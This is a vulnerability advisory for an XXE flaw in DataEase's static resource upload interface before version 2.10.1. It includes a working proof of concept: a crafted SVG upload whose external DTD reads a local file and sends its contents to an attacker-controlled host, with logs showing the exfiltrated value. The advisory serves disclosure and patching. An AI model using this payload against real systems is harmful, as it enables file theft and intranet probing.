DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, there is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. The vulnerability has been fixed in v2.10.1.

Affected: Maven: io.dataease:common

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.

1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn

------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a

<?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'> %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn--

// 1.dtd的内容 <!ENTITY % resource SYSTEM "file:///etc/alpine-release"> <!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>"> ```

2. After sending the request, the content of the file /etc/alpine-release is successfully read ``` ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 - ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 - ```

Affected versions: <= 2.10.0

### Patches The vulnerability has been fixed in v2.10.1.

### Worka…